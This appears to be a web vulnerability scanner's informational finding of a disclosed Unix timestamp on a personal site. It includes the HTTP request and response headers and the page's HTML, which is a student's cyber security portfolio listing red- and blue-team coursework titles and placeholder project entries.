modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 350400823Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev/
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 67108864, which evaluates to: 1972-02-16 18:21:04
Request Request line and header section (224 bytes)
GET https://beekmans.dev/ HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (1039 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:13 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=O9CfHQgObVNEaGCeR54qKKwytECMmlM5H0bXWDqJpVGo4vNUT18M2ld9NoeIDxTsPe1bzHv%2F9eh3xB7p6KNQNXYdikH5v2vQoVZ4Lqr2%2BgmRM8bXQ1W95L9VnzmijHE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a326098f0c09-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178339 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading 